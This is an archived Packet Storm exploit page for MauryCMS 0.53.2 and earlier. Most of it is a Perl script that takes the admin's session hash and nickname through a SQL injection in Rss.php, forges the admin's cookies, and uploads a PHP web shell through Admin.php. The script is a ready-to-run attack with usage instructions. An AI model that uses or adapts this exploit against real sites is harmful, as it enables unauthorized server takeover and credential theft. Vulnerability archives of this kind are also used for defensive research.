the last unbiased stronghold

maurycms-upload.txt

maurycms-upload.txt
Posted Nov 19, 2008
Authored by StAkeR

MauryCMS versions 0.53.2 and below remote shell upload exploit.

tags | exploit, remote, shell, file upload
MD5 | 63cc458d0d8e69152b1c8c27b36a2bf7

maurycms-upload.txt

Change Mirror Download
#!/usr/bin/perl 

=about

MauryCMS <= 0.53.2 Remote Shell Upload Exploit
----------------------------------------------
by athos - staker[at]hotmail[dot]it
download on http://cms.maury91.org
thnx Osirys

=cut


use strict;
use warnings;
use LWP::UserAgent;

my ($http,$post,$user,$pass,@auth,@read,$shell);

my $host = shift @ARGV;
my $file = shift @ARGV or &usage;

open(FILE,$file) or die("file error!\n");

@read = <FILE>;

foreach(@read)
{
$shell .= $_;
}

close(FILE);

&usage if $host !~ /http:\/\/(.+?)$/i && $file !~ /[a-zA-Z](\.php)/i;


my @path = split /\//,substr($host,7);


$http = new LWP::UserAgent(
agent => "Mozilla/4.5 [en] (Win95; U)",
);

@auth = split(':',get_cookies());

if(not defined($path[1]))
{
$user = qq{_nick=${auth[1]}; path=/; };
$pass = qq{_sauth=${auth[0]}; path=/;};
}
else
{
$user = qq{/${path[1]}_nick=${auth[1]}; path=/; };
$pass = qq{/${path[1]}_sauth=${auth[0]}; path=/;};
}



$http->default_header('Cookie' => $user.$pass);

$post = $http->post($host.'/Admin.php',[
'zone' => 'Modify',
'txtfname' => $file,
'txttext' => $shell,
]);

if($post->is_success && $post->as_string =~ /File Scritto/i)
{
print STDOUT "Exploit Successfully!\n";
print STDOUT "$host/$file\n";
exit;
}
else
{
print STDOUT "Exploit Failed!\n";
exit;
}


sub get_cookies
{
my ($query,$cookie,$content);

$query = "/Rss.php?c=-1+union+select+1,concat(sauth,0x3a,nick),".
"3,4,5,6,7,8,9+from+mcms_users+where+id=1--";


$cookie = $http->get($host.$query);
$content = $cookie->content;

if($cookie->is_success & $content =~ /<title>(.+?)<\/title>/i)
{
return $1;
}
}


sub usage
{
print STDOUT "MauryCMS <= 0.53.2 Remote Shell Upload Exploit\n".
"by athos - staker[at]hotmail[dot]it\n".
"----------------------------------------------\n".
"Usage: perl $0 http://[host] [name_shell.php]\n".
"Usage: perl $0 http://localhost/cms shell.php\n";
exit;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close